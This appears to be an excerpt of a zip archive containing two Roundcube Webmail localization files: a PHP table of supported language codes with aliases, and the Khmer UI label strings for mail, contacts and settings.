h�\g�program/localization/index.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | program/localization/index.inc                                        |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2014, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide a centralized location table                                |
 |   for keeping track of available languages                            |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

// language codes according to ISO 639-1
// country codes according to ISO 3166-1 (Alpha-2)
// original names from http://www.mediaglyphs.org/mg/?p=langnames

$rcube_languages = [
    'sq_AL' => 'Albanian (Shqip)',
    'ar'    => 'Arabic (العربية)',
    'ar_SA' => 'Arabic (Saudi Arabia)',
    'hy_AM' => 'Armenian (Հայերեն)',
    'ast'   => 'Asturiana (Asturianu)',
    'az_AZ' => 'Azerbaijani (Azərbaycanca)',
    'eu_ES' => 'Basque (Euskara)',
    'be_BE' => 'Belarusian (беларуская мова)',
    'bn_BD' => 'Bengali (বাংলা)',
    'bs_BA' => 'Bosnian (Bosanski)',
    'br'    => 'Breton (Brezhoneg)',
    'bg_BG' => 'Bulgarian (Български)',
    'ca_ES' => 'Catalan (Català)',
    'zh_CN' => 'Chinese (简体中文)',
    'zh_TW' => 'Chinese (正體中文)',
    'hr_HR' => 'Croatian (Hrvatski)',
    'cs_CZ' => 'Czech (Česky)',
    'da_DK' => 'Danish (Dansk)',
    'fa_AF' => 'Dari (ﻯﺭﺩ)',
    'de_DE' => 'German (Deutsch)',
    'de_CH' => 'German (Schweiz)',
    'nl_NL' => 'Dutch (Nederlands)',
    'en_CA' => 'English (Canada)',
    'en_GB' => 'English (GB)',
    'en_US' => 'English (US)',
    'eo'    => 'Esperanto',
    'et_EE' => 'Estonian (Eesti)',
    'fo_FO' => 'Faroese (Føroyskt)',
    'fi_FI' => 'Finnish (Suomi)',
    'nl_BE' => 'Flemish (Vlaams)',
    'fr_FR' => 'French (Français)',
    'gl_ES' => 'Galician (Galego)',
    'ka_GE' => 'Georgian (ქართული)',
    'el_GR' => 'Greek (Ελληνικά)',
    'he_IL' => 'Hebrew (עברית)',
    'hi_IN' => 'Hindi (हिनदी)',
    'hu_HU' => 'Hungarian (Magyar)',
    'is_IS' => 'Icelandic (Íslenska)',
    'id_ID' => 'Indonesian (Bahasa Indonesia)',
    'ia'    => 'Interlingua',
    'ga_IE' => 'Irish (Gaedhilge)',
    'it_IT' => 'Italian (Italiano)',
    'ja_JP' => 'Japanese (日本語)',
    'kab'   => 'Kabyle (Taqbaylit)',
    'km_KH' => 'Khmer (ភាសាខ្មែរ)',
    'kn_IN' => 'Konkani (कोंकणी)',
    'ko_KR' => 'Korean (한국어)',
    'ku'    => 'Kurdish (Kurmancî)',
    'lv_LV' => 'Latvian (Latviešu)',
    'lt_LT' => 'Lithuanian (Lietuviškai)',
    'lb_LU' => 'Luxembourgish (Lëtzebuergesch)',
    'mk_MK' => 'Macedonian (Македонски)',
    'ms_MY' => 'Malay (Bahasa Melayu)',
    'ml_IN' => 'Malayalam (മലയാളം)',
    'mr_IN' => 'Marathi (मराठी)',
    'mn_MN' => 'Mongolic (Монгол)',
    'ne_NP' => 'Nepali (नेपाली)',
    'nb_NO' => 'Norwegian (Bokmål)',
    'nn_NO' => 'Norwegian (Nynorsk)',
    'ps'    => 'Pashto',
    'fa_IR' => 'Persian (فارسی)',
    'pl_PL' => 'Polish (Polski)',
    'pt_BR' => 'Portuguese (Brasil)',
    'pt_PT' => 'Portuguese (Português)',
    'ro_RO' => 'Romanian (Româneşte)',
    'ru_RU' => 'Russian (Русский)',
    'sr_CS' => 'Serbian (Српски)',
    'si_LK' => 'Sinhalese (සිංහල)',
    'sk_SK' => 'Slovak (Slovenčina)',
    'sl_SI' => 'Slovenian (Slovenščina)',
    'es_AR' => 'Spanish (Argentina)',
    'es_ES' => 'Spanish (Español)',
    'es_419' => 'Spanish (Latin America)',
    'sv_SE' => 'Swedish (Svenska)',
    'ta_IN' => 'Tamil (தமிழ்)',
    'ti'    => 'Tigrinya (ትግርኛ)',
    'th_TH' => 'Thai (ไทย)',
    'tr_TR' => 'Turkish (Türkçe)',
    'tzl'   => 'Talossan',
    'ug'    => 'Uyghur (ئۇيغۇر)',
    'uk_UA' => 'Ukrainian (Українська)',
    'ur_PK' => 'Urdu (اُردو)',
    'uz'    => 'Uzbek (Oʻzbekcha)',
    'vi_VN' => 'Vietnamese (Tiếng Việt)',
    'cy_GB' => 'Welsh (Cymraeg)',
    'fy_NL' => 'West Frisian (Frysk)',
];

$rcube_language_aliases = [
    'am' => 'hy_AM',
    'az' => 'az_AZ',
    'bg' => 'bg_BG',
    'bs' => 'bs_BA',
    'ca' => 'ca_ES',
    'cn' => 'zh_CN',
    'cs' => 'cs_CZ',
    'cy' => 'cy_GB',
    'cz' => 'cs_CZ',
    'da' => 'da_DK',
    'de' => 'de_DE',
    'ee' => 'et_EE',
    'es' => 'es_ES',
    'et' => 'et_EE',
    'el' => 'el_GR',
    'en' => 'en_US',
    'eu' => 'eu_ES',
    'fa' => 'fa_IR',
    'ga' => 'ga_IE',
    'ge' => 'ka_GE',
    'gl' => 'gl_ES',
    'he' => 'he_IL',
    'hi' => 'hi_IN',
    'hr' => 'hr_HR',
    'hy' => 'hy_AM',
    'ja' => 'ja_JP',
    'ka' => 'ka_GE',
    'ko' => 'ko_KR',
    'kr' => 'ko_KR',
    'kh' => 'km_KH',
    'kh_KH' => 'km_KH',
    'kn' => 'kn_IN',
    'km' => 'km_KH',
    'lb' => 'lb_LU',
    'ne' => 'ne_NP',
    'no' => 'nn_NO',
    'mn' => 'mn_MN',
    'ms' => 'ms_MY',
    'mr' => 'mr_IN',
    'ml' => 'ml_IN',
    'ml_ML' => 'ml_IN',
    'pl' => 'pl_PL',
    'tr' => 'tr_TR',
    'tw' => 'zh_TW',
    'si' => 'si_LK',
    'sl' => 'sl_SI',
    'sr' => 'sr_CS',
    'sr_cyrillic' => 'sr_CS',
    'sr_latin' => 'bs_BA',
    'se' => 'sv_SE',
    'sv' => 'sv_SE',
    'sq' => 'sq_AL',
    'uk' => 'uk_UA',
    'vn' => 'vi_VN',
    'vi' => 'vi_VN',
    'zh' => 'zh_CN',
    'zh_HK' => 'zh_TW',
    'zh_MO' => 'zh_TW',
];
PK
h�\�h�Âp�p%program/localization/km_KH/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product សូមស្វាគមន៍';
$labels['username'] = 'ឈ្មោះអ្នកប្រើ';
$labels['password'] = 'ពាក្យសំងាត់';
$labels['server'] = 'ម៉ាស៊ីនមេ';
$labels['login'] = 'ពិនិត្យចូល';
$labels['logout'] = 'ពិនិត្យចេញ';
$labels['mail'] = 'អ៊ីមែល';
$labels['settings'] = 'កំនត់ការប្រើប្រាស់';
$labels['addressbook'] = 'សៀវភៅអាសយដ្ឋាន';
$labels['inbox'] = 'ប្រអប់សំបុត្រ';
$labels['drafts'] = 'សំបុត្រពង្រៀង';
$labels['sent'] = 'សំបុត្រដែលបានបញ្ជូន';
$labels['trash'] = 'ធុងសំរាម';
$labels['junk'] = 'សំបុត្រមិនល្អ';
$labels['subject'] = 'ចំណងជើង';
$labels['from'] = 'អ្នកផ្ញើ';
$labels['sender'] = 'អ្នក​ផ្ញើ​';
$labels['to'] = 'អ្នកទទួល';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'ឆ្លើយតបទៅកាន់';
$labels['followupto'] = 'ឆ្លើយតបទៅកាន់ក្រុម';
$labels['date'] = 'កាលបរិច្ឆេត';
$labels['size'] = 'ទំហំ';
$labels['priority'] = 'អទិភាព';
$labels['organization'] = 'អង្គភាព';
$labels['readstatus'] = 'ស្ថានភាពនៃការអាន';
$labels['listoptions'] = 'ជម្រើស​បញ្ជី...';
$labels['mailboxlist'] = 'ថតទាំងអស់';
$labels['messagesfromto'] = 'សំបុត្រពី $from ទៅដល់ $toក្នុងចំណោម $count សំបុត្រ';
$labels['threadsfromto'] = 'បន្តុំសំបុត្រពី $from ទៅដល់ $toក្នុងចំណោម $count សំបុត្រ';
$labels['messagenrof'] = 'សំបុត្រ $nr នៃ $count';
$labels['fromtoshort'] = '$from – $to នៃ $count';
$labels['copy'] = 'ចំលង';
$labels['move'] = 'ផ្ទេរ';
$labels['moveto'] = 'ផ្ទេរទៅ';
$labels['copyto'] = 'ចម្លង​ទៅ...';
$labels['download'] = 'ទាញយក';
$labels['showattachment'] = 'បង្ហាញ';
$labels['showanyway'] = 'បង្ហាញ​វា​យ៉ាង​ណា​ក៏​បាន';
$labels['filename'] = 'ឈ្មោះឯកសារ';
$labels['filesize'] = 'ទំហំឯកសារ';
$labels['addtoaddressbook'] = 'រក្សាទុកក្នុងសៀវភៅអាសយដ្ឋាន';
$labels['sun'] = 'អាទិត្យ';
$labels['mon'] = 'ច័ន្ទ';
$labels['tue'] = 'អង្គារ';
$labels['wed'] = 'ពុធ';
$labels['thu'] = 'ព្រហស្បតិ៍';
$labels['fri'] = 'សុក្រ';
$labels['sat'] = 'សៅរ៍';
$labels['sunday'] = 'អាទិត្យ';
$labels['monday'] = 'ច័ន្ទ';
$labels['tuesday'] = 'អង្គារ';
$labels['wednesday'] = 'ពុធ';
$labels['thursday'] = 'ព្រហស្បតិ៍';
$labels['friday'] = 'សុក្រ';
$labels['saturday'] = 'សៅរ៍';
$labels['jan'] = 'មករា';
$labels['feb'] = 'កុម្ភះ';
$labels['mar'] = 'មិនា';
$labels['apr'] = 'មេសា';
$labels['may'] = 'ឧសភា';
$labels['jun'] = 'មិថុនា';
$labels['jul'] = 'កក្កដា';
$labels['aug'] = 'សីហា';
$labels['sep'] = 'កញ្ញា';
$labels['oct'] = 'តុលា';
$labels['nov'] = 'វិច្ឆិកា';
$labels['dec'] = 'ធ្នូ';
$labels['longjan'] = 'មករា';
$labels['longfeb'] = 'កុម្ភះ';
$labels['longmar'] = 'មិនា';
$labels['longapr'] = 'មេសា';
$labels['longmay'] = 'ឧសភា';
$labels['longjun'] = 'មិថុនា';
$labels['longjul'] = 'កក្កដា';
$labels['longaug'] = 'សីហា';
$labels['longsep'] = 'កញ្ញា';
$labels['longoct'] = 'តុលា';
$labels['longnov'] = 'វិច្ឆិកា';
$labels['longdec'] = 'ធ្នូ';
$labels['today'] = 'ថ្ងៃនេះ';
$labels['refresh'] = 'ធ្វើ​ឲ្យ​ស្រស់';
$labels['checkmail'] = 'ពិនិត្យសំបុត្រថ្មី';
$labels['compose'] = 'សរសេរសំបុត្រថ្មី';
$labels['writenewmessage'] = 'សរសេរសំបុត្រថ្មី';
$labels['reply'] = 'ឆ្លើយ';
$labels['replytomessage'] = 'ឆ្លើយតបទៅអ្នកផ្ញើ';
$labels['replytoallmessage'] = 'ឆ្លើយតបទៅ អ្នកទទួលទាំងអស់និង ក្រុម ឬ អ្នកផ្ញើ';
$labels['replyall'] = 'ឆ្លើយតបទៅទាំងអស់គ្នា';
$labels['replylist'] = 'បញ្ជី​ឆ្លើយតប';
$labels['forward'] = 'បញ្ជូន​បន្ត';
$labels['forwardinline'] = 'បញ្ចូល​បន្ត​ក្នុង​បន្ទាត់';
$labels['forwardattachment'] = 'បញ្ជូន​បន្ត​ជា​ឯកសារ​ភ្ជាប់';
$labels['forwardmessage'] = 'បញ្ជូន​បន្ត​សារ';
$labels['deletemessage'] = 'លុប​សារ';
$labels['movemessagetotrash'] = 'ផ្លាស់ទី​សារ​ទៅ​ធុង​សំរាម';
$labels['printmessage'] = 'បោះពុម្ព​សារ​នេះ';
$labels['previousmessage'] = 'បង្ហាញ​សារ​មុន';
$labels['firstmessage'] = 'បង្ហាញ​សារ​ដំបូង';
$labels['nextmessage'] = 'បង្ហាញ​សារ​បន្ទាប់';
$labels['lastmessage'] = 'បង្ហាញ​សារ​ចុងក្រោយ';
$labels['backtolist'] = 'ត្រឡប់​ទៅ​កាន់​បញ្ជី​សារ';
$labels['viewsource'] = 'បង្ហាញ​ប្រភព';
$labels['mark'] = 'សម្គាល់';
$labels['markmessages'] = 'សម្គាល់​សារ';
$labels['markread'] = 'អាន​រួច';
$labels['markunread'] = 'មិន​ទាន់​អាន';
$labels['markflagged'] = 'ដាក់​ទង់';
$labels['markunflagged'] = 'ដោះ​ទង់';
$labels['moreactions'] = 'សកម្មភាព​ច្រើន​ទៀត...';
$labels['folders-all'] = 'ថត​ទាំង​អស់';
$labels['more'] = 'ច្រើន​ទៀត';
$labels['back'] = 'ត្រឡប់​ក្រោយ';
$labels['options'] = 'ជម្រើស';
$labels['select'] = 'ជ្រើសរើស';
$labels['all'] = 'ទាំងអស់';
$labels['none'] = 'មិនតំរៀប';
$labels['currpage'] = 'ទំព័រ​បច្ចុប្បន្ន';
$labels['isread'] = 'បាន​អាន';
$labels['unread'] = 'មិន​ទាន់​អាន';
$labels['flagged'] = 'មានកំណត់សំគាល់ដោយផ្កាយ';
$labels['unanswered'] = 'មិនទាន់ឆ្លើយតប';
$labels['deleted'] = 'បាន​លុប';
$labels['undeleted'] = 'មិន​ទាន់​លុប';
$labels['invert'] = 'បញ្ច្រស់';
$labels['filter'] = 'លក្ខខ័ណ្ឌ';
$labels['list'] = 'បញ្ជី';
$labels['threads'] = 'បណ្តុំសំបុត្រ';
$labels['expand-all'] = 'បង្ហាញ​ទាំងអស់';
$labels['expand-unread'] = 'បង្ហាញសំបុត្រមិនទាន់អាន';
$labels['collapse-all'] = 'បង្រួញ​ទាំងអស់';
$labels['threaded'] = 'បានបែកចែកជាក្រុមរួច';
$labels['autoexpand_threads'] = 'បង្ហាញបណ្តុំសំបុត្រ';
$labels['do_expand'] = 'បណ្តុំទាំងអស់';
$labels['expand_only_unread'] = 'បង្ហាញតែសំបុត្រដែលមិនទាន់អាន';
$labels['fromto'] = 'អ្នកផ្ញើ / អ្នកទទួល';
$labels['flag'] = 'កំណត់សំគាល់ដោយផ្កាយ';
$labels['attachment'] = 'ឯកសារភ្ជាប់';
$labels['nonesort'] = 'មិនតំរៀប';
$labels['sentdate'] = 'កាលបរិច្ឆេតផ្ញើ';
$labels['arrival'] = 'កាលបរិច្ឆេតទទួល';
$labels['asc'] = 'តាមលំដាប់ចុះ';
$labels['desc'] = 'តាមលំដាប់ឡើង';
$labels['listcolumns'] = 'តារាងជួរឈ';
$labels['listsorting'] = 'តំរៀបជួរឈ';
$labels['listorder'] = 'លំដាប់នៃការតំរៀប';
$labels['listmode'] = 'បង្ហាញជាតារាង';
$labels['layoutlist'] = 'បញ្ជី';
$labels['folderactions'] = 'មុខងារថត';
$labels['compact'] = 'បង្រួម';
$labels['empty'] = 'ទទេរ';
$labels['quota'] = 'ទំហំសំបុត្រទាំងអស់ដែលមាន';
$labels['unknown'] = 'មិនស្គាល់';
$labels['unlimited'] = 'គ្មានកំនត់';
$labels['quicksearch'] = 'ស្វែងរក';
$labels['resetsearch'] = 'កំណត់លក្ខខ័ណ្ឌស្វែងរកជាថ្មី';
$labels['searchmod'] = 'កែសំរួលលក្ខខ័ណ្ឌស្វែងរក';
$labels['msgtext'] = 'សំបុត្រទាំងមូល';
$labels['body'] = 'តួ';
$labels['currentfolder'] = 'ថត​បច្ចុប្បន្ន';
$labels['allfolders'] = 'ថត​ទាំង​អស់';
$labels['openinextwin'] = 'បើកក្នុងវីនដូវថ្មី';
$labels['emlsave'] = 'រក្សាទុកទិន្នន័យជាឯកសារប្រភេទ(.eml)';
$labels['editasnew'] = 'កែហើយរក្សាទុកដូចជាសំបុត្រថ្មី';
$labels['send'] = 'ផ្ញើ';
$labels['sendmessage'] = 'ផ្ញើសំបុត្រនេះ';
$labels['savemessage'] = 'រក្សាទុកសំបុត្រពង្រៀង';
$labels['addattachment'] = 'ឯកសារភ្ជាប់';
$labels['charset'] = 'ប្រភេទអក្សរ';
$labels['editortype'] = 'ប្រភេទ Editor';
$labels['returnreceipt'] = 'អត្ថបទបញ្ជាក់ពីការត្រឡប់';
$labels['dsn'] = 'ប្រាប់អំពីស្ថានភាពផ្ញើ';
$labels['mailreplyintro'] = 'កាលពី​ថ្ងៃ $date, $sender បាន​សរសេរ៖';
$labels['originalmessage'] = 'សារ​ដើម';
$labels['insert'] = 'បញ្ចូល';
$labels['recipient'] = 'អ្នក​ទទួល';
$labels['editidents'] = 'ផ្លាស់ប្តូរអត្តសញ្ញាណ';
$labels['spellcheck'] = 'អក្ខរាវិរុទ្ធ';
$labels['checkspelling'] = 'ពិនិត្យអក្ខរាវិរុទ្ធ';
$labels['resumeediting'] = 'បន្តរការកែតំរូវ';
$labels['revertto'] = 'ត្រលប់ទៅ';
$labels['attach'] = 'ភ្ជាប់';
$labels['attachments'] = 'ឯកសារភ្ជាប់';
$labels['upload'] = 'ភ្ជាប់ឯកសារ';
$labels['close'] = 'បិទ';
$labels['messageoptions'] = 'កំណត់ជំរើសរបស់សំបុត្រ';
$labels['low'] = 'ទាប';
$labels['lowest'] = 'ទាបបំផុត';
$labels['normal'] = 'ធម្មតា';
$labels['high'] = 'ខ្ពស់';
$labels['highest'] = 'ខ្ពស់បំផុត';
$labels['nosubject'] = '(គ្មានចំណងជើង)';
$labels['showimages'] = 'បង្ហាញរូបភាព';
$labels['alwaysshow'] = 'បង្ហាញជានិច្ចរាល់រូបភាពបញ្ជូនពី$sender';
$labels['isdraft'] = 'នេះ​ជា​សារ​ព្រាង។';
$labels['andnmore'] = '$nr ច្រើន​ទៀត...';
$labels['togglemoreheaders'] = 'បង្ហាញ​បឋមកថា​សារ​ច្រើន​ទៀត';
$labels['togglefullheaders'] = 'បិទ/បើក​បឋមកថា​សារ​​ដើម';
$labels['htmltoggle'] = 'អត្ថបទ HTML';
$labels['plaintoggle'] = 'អត្ថបទធម្មតា';
$labels['savesentmessagein'] = 'រក្សាសំបុត្រដែលបានផ្ញើក្នុង';
$labels['dontsave'] = 'មិនរក្សាទុក';
$labels['maxuploadsize'] = 'ទំហំឯកសារធំបំផុតដែលអាចភ្ជាប់បានគឺ$size';
$labels['addcc'] = 'បន្ថែម Cc';
$labels['addbcc'] = 'បន្ថែម Bcc';
$labels['addreplyto'] = 'បន្ថែម Reply-To';
$labels['addfollowupto'] = 'បន្ថែម Followup-To';
$labels['mdnrequest'] = 'អ្នក​ផ្ញើ​សារ​នេះ​បាន​សុំ​ឲ្យ​ជូន​ដំណឹង​ពេល​អ្នក​អាន​​សារ​នេះ ។ តើ​អ្នក​ចង់​ជូន​ដំណឹង​ដល់​អ្នក​ផ្ញើ​ឬ​ទេ ?';
$labels['receiptread'] = 'អត្ថបទផ្ញើត្រលប់ (បានអាន)';
$labels['yourmessage'] = 'នេះគឺជាអត្ថបទផ្ញើត្រលប់សំរាប់សំបុត្ររបស់លោកអ្នក។';
$labels['name'] = 'ឈ្មោះសំរាប់បង្ហាញ';
$labels['firstname'] = 'នាមខ្លួន';
$labels['surname'] = 'នាមត្រកូល';
$labels['middlename'] = 'ឈ្មោះកណ្តាល';
$labels['nameprefix'] = 'ពាក្យពីមុខឈ្មោះ';
$labels['namesuffix'] = 'ពាក្យពីក្រោយឈ្មោះ';
$labels['nickname'] = 'ឈ្មោះហៅក្រៅ';
$labels['jobtitle'] = 'ឈ្មោះការងារ';
$labels['department'] = 'នាយកដ្ឋាន';
$labels['gender'] = 'ភេទ';
$labels['maidenname'] = 'ឈ្មោះពីកំណើត';
$labels['email'] = 'អ៊ីមែល';
$labels['phone'] = 'ទូរស័ព្ទ';
$labels['address'] = 'អាសយដ្ឋាន';
$labels['street'] = 'ផ្លូវ';
$labels['locality'] = 'ទីក្រុង';
$labels['zipcode'] = 'លេខប៉ុស្តិ៍';
$labels['region'] = 'តំបន់';
$labels['country'] = 'ប្រទេស';
$labels['birthday'] = 'ថ្ងៃខួបកំណើត';
$labels['anniversary'] = 'ខួប';
$labels['website'] = 'គេហទំព័រ';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'កំណត់ហេតុ';
$labels['male'] = 'ប្រុស';
$labels['female'] = 'ស្រី';
$labels['manager'] = 'នាយក';
$labels['assistant'] = 'ជំនួយការ';
$labels['spouse'] = 'គ្រួសារ';
$labels['search'] = 'ស្វែងរក';
$labels['advsearch'] = 'ការ​ស្វែង​រក​កម្រិត​ខ្ពស់';
$labels['other'] = 'ផ្សេងពីនេះ';
$labels['typehome'] = 'គេហដ្ឋាន';
$labels['typework'] = 'កន្លែងធ្វើការ';
$labels['typeother'] = 'ផ្សេងពីនេះ';
$labels['typemobile'] = 'ទូរស័ព្ទដៃ';
$labels['typemain'] = 'ចំបង';
$labels['typehomefax'] = 'ទូរសារនៅគេហដ្ឋាន';
$labels['typeworkfax'] = 'ទូរសារនៅកន្លែងធ្វើការ';
$labels['typecar'] = 'រថយន្ត';
$labels['typepager'] = 'ឧបករណ៍ផ្តល់សារ';
$labels['typevideo'] = 'វីដេអូរ';
$labels['typeassistant'] = 'ជំនួយការ';
$labels['typehomepage'] = 'ទំព័រ​ដើម';
$labels['addfield'] = 'បន្ថែម';
$labels['editcontact'] = 'កែប្រែអាសយដ្ឋានទាក់ទង';
$labels['contacts'] = 'អាសយដ្ឋានទាក់ទងទាំងអស់';
$labels['contactproperties'] = 'ព័ត៌មានអំពីទំនាក់ទំនង';
$labels['personalinfo'] = 'ព័ត៌មានផ្ទាល់ខ្លួន';
$labels['edit'] = 'កែតំរូវ';
$labels['cancel'] = 'លះបង់';
$labels['save'] = 'រក្សាទុក';
$labels['delete'] = 'លុបចោល';
$labels['rename'] = 'ប្តូរឈ្មោះ';
$labels['addphoto'] = 'បន្ថែមរូបថត';
$labels['replacephoto'] = 'លុបរូបថត';
$labels['uploadphoto'] = 'ផ្ទុក​រូបថត​ឡើង';
$labels['deletecontact'] = 'លុបអាសយដ្ឋានទាក់ទងដែលបានជ្រើសរើស';
$labels['composeto'] = 'ផ្ញើសំបុត្រទៅ';
$labels['contactsfromto'] = 'អាសយដ្ឋានទាក់ទង $from ដល់ $to នៃ$count';
$labels['print'] = 'បោះពុម្ភ';
$labels['export'] = 'ទាញនិងរក្សាទុក';
$labels['exportvcards'] = 'ទាញនិងរក្សាទុកអាសយដ្ឋានជាប្រភេទvCard';
$labels['grouprename'] = 'ប្ដូរ​ឈ្មោះ​ក្រុម';
$labels['groupdelete'] = 'លុប​ក្រុម';
$labels['previouspage'] = 'ទំព័រមុន';
$labels['firstpage'] = 'ទំព័រដំបូង';
$labels['nextpage'] = 'ទំព័របន្ទាប់';
$labels['lastpage'] = 'ទំព័រចុងក្រោយ';
$labels['group'] = 'ក្រុម';
$labels['groups'] = 'ក្រុម';
$labels['personaladrbook'] = 'អាសយដ្ឋានផ្ទាល់ខ្លួន';
$labels['searchsave'] = 'រក្សា​ទុក​ការ​ស្វែងរក​';
$labels['searchdelete'] = 'លុប​ការ​ស្វែង​រក';
$labels['import'] = 'បញ្ចូល';
$labels['importcontacts'] = 'បញ្ចូលអាសយដ្ឋាន';
$labels['importtarget'] = 'បន្ថែម​អាសយដ្ឋាន​ទាក់ទង​ទៅ';
$labels['importreplace'] = 'ផ្លាស់ប្តូរអាសយដ្ឋានទាំងអស់';
$labels['done'] = 'ចប់រួចរាល់';
$labels['settingsfor'] = 'កំណត់សំរាប់';
$labels['about'] = 'អំពី';
$labels['preferences'] = 'កំណត់តាមការចូលចិត្ត';
$labels['userpreferences'] = 'កំណត់តាមការចូលចិត្តរបស់អ្នកប្រើ';
$labels['editpreferences'] = 'ផ្លាស់ប្តូរការចូលចិត្តរបស់អ្នកប្រើ';
$labels['identities'] = 'អត្តសញ្ញាណ';
$labels['preferhtml'] = 'បង្ហាញជា HTML';
$labels['defaultcharset'] = 'លេខកូតអក្សរមានស្រាប់';
$labels['htmlmessage'] = 'សំបុត្រប្រភេទ HTML';
$labels['timeformat'] = 'ទម្រង់​ម៉ោង';
$labels['prettydate'] = 'កាលបរិច្ឆេតងាយស្រួលមើល';
$labels['setdefault'] = 'កំណត់ទុក';
$labels['autodetect'] = 'ស្វ័យប្រវត្តិ';
$labels['language'] = 'ភាសា';
$labels['timezone'] = 'ម៉ោង';
$labels['pagesize'] = 'ចំនួនសំបុត្រក្នុងមួយទំព័រ';
$labels['signature'] = 'ហត្ថលេខា';
$labels['dstactive'] = 'ម៉ោងវស្សានរដូវ';
$labels['showinextwin'] = 'បើក​សារ​ក្នុង​វីនដូវ​ថ្មី';
$labels['composeextwin'] = 'សរសេរ​សារ​ក្នុង​វីនដូវ​ថ្មី';
$labels['htmleditor'] = 'សរសេរសំបុត្រតាមបែប HTML';
$labels['htmlonreply'] = 'ឆ្លើយតបសំបុត្រតាមបែប HTML';
$labels['htmlonreplyandforward'] = 'បញ្ជូន​សារ​បន្ត ឬ ឆ្លើយ​តប​សារ​​តាម​បែប HTML';
$labels['htmlsignature'] = 'ហត្ថលេខាតាមបែប HTML';
$labels['previewpane'] = 'បង្ហាញប្រអប់សំរាប់មើលសំបុត្រ';
$labels['skin'] = 'ការរចនាទំព័រ';
$labels['logoutclear'] = 'សំអាតធុងសំរាមពេលពិនិត្យចេញ';
$labels['logoutcompact'] = 'បង្រួមប្រអប់សំបុត្រពេលពិនិត្យចេញ';
$labels['uisettings'] = 'ការរចនា';
$labels['serversettings'] = 'ការកំណត់ម៉ាស៊ីនមេ';
$labels['mailboxview'] = 'មើលប្រអប់សំបុត្រ';
$labels['mdnrequests'] = 'ប្រាប់អ្នកផ្ញើ';
$labels['askuser'] = 'សួរអ្នកប្រើ';
$labels['autosend'] = 'ផ្ញើស្វ័យប្រវត្តិ';
$labels['autosendknown'] = 'បញ្ជូនអត្ថបទប្រាប់អ្នកផ្ញើទៅកាន់អាសយដ្ឋានទាក់ទងរបស់ខ្ញុំឬក៏សួរខ្ញុំ';
$labels['autosendknownignore'] = 'បញ្ជូនអត្ថបទប្រាប់អ្នកផ្ញើទៅកាន់អាសយដ្ឋានទាក់ទងរបស់ខ្ញុំឬមិនបាច់ធ្វើអ្វីទាំងអស់';
$labels['readwhendeleted'] = 'កំណត់សំបុត្រថាបានអាននៅពេលលុបសំបុត្រនោះ';
$labels['flagfordeletion'] = 'កំណត់សញ្ញាផ្កាយអោយសំបុត្រថាបានលុបដោយមិនចាំបាច់លុបជាក់ស្តែង';
$labels['skipdeleted'] = 'មិនបង្ហាញសំបុត្រដែលបានលុប';
$labels['deletealways'] = 'លុបសំបុត្រចោលប្រសិនជាមិនអាចផ្ទេសំបុត្រនោះទៅធុងសំរាមបាន';
$labels['showremoteimages'] = 'បង្ហាញរូបភាពដែលគេផ្ញើមក';
$labels['fromknownsenders'] = 'ពីអ្នកផ្ញើដែលស្គាល់';
$labels['always'] = 'គ្រប់ពេល';
$labels['showinlineimages'] = 'បង្ហាញរូបភាពនៅក្រោមអត្ថបទសំបុត្រ';
$labels['autosavedraft'] = 'រក្សាទុកសំបុត្រពង្រៀងដោយស្វ័យប្រវត្តិ';
$labels['everynminutes'] = 'រៀងរាល់ $n នាទី';
$labels['never'] = 'មិនដែល';
$labels['immediately'] = 'ភ្លាមៗ';
$labels['messagesdisplaying'] = 'កំពុងបង្ហាញសំបុត្រ';
$labels['messagescomposition'] = 'កំពុងសរសេរសំបុត្រ';
$labels['mimeparamfolding'] = 'ឈ្មោះឯកសារភ្ជាប់';
$labels['2231folding'] = 'RFC 2231 ពេញ (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 ពេញ(other)';
$labels['force7bit'] = 'ប្រើ MIME សំរាប់អក្សរទំហំ 8-bit';
$labels['advancedoptions'] = 'ការកំណត់ពឹស្តារ';
$labels['focusonnewmessage'] = 'ផ្តោតលើវីនដូវដែលកំពុងសរសេរសំបុត្រថ្មី';
$labels['checkallfolders'] = 'ពិនិត្យសំបុត្រថ្មីនៅគ្រប់ថតទាំងអស់';
$labels['mainoptions'] = 'ជំរើសដែលជាគោល';
$labels['section'] = 'ផ្នែក';
$labels['maintenance'] = 'ការថែរក្សា';
$labels['newmessage'] = 'សំបុត្រថ្មី';
$labels['signatureoptions'] = 'កំណត់ហត្ថលេខា';
$labels['whenreplying'] = 'នៅពេលកំពុងឆ្លើយតប';
$labels['replytopposting'] = 'ចាប់ផ្តើម​សរសេរ​ពី​លើ​សំបុត្រ​ដើម';
$labels['replybottomposting'] = 'ចាប់ផ្តើមសរសេរពីក្រោមសំបុត្រដើម';
$labels['replyremovesignature'] = 'នៅ​ពេល​ឆ្លើយ​តប​លុប​ហត្ថលេខា​ចេញ​ពីសំបុត្រ';
$labels['autoaddsignature'] = 'បញ្ចូលហត្តលេខាដោយស្វ័យប្រវត្តិ';
$labels['newmessageonly'] = 'សំរាប់សំបុត្រថ្មីតែប៉ុណ្ណោះ';
$labels['replyandforwardonly'] = 'សំរាប់ឆើ្លយតប​និងផ្ញើបន្តតែ​ប៉ុណ្ណោះ';
$labels['insertsignature'] = 'បញ្ចូលហត្តលេខា';
$labels['afternseconds'] = 'ក្រោយពី $n វិនាទី';
$labels['reqmdn'] = 'ក្រោយពី $n វិនាទី';
$labels['reqdsn'] = 'ក្រោយពី $n វិនាទី';
$labels['replysamefolder'] = 'ក្រោយពី $n វិនាទី';
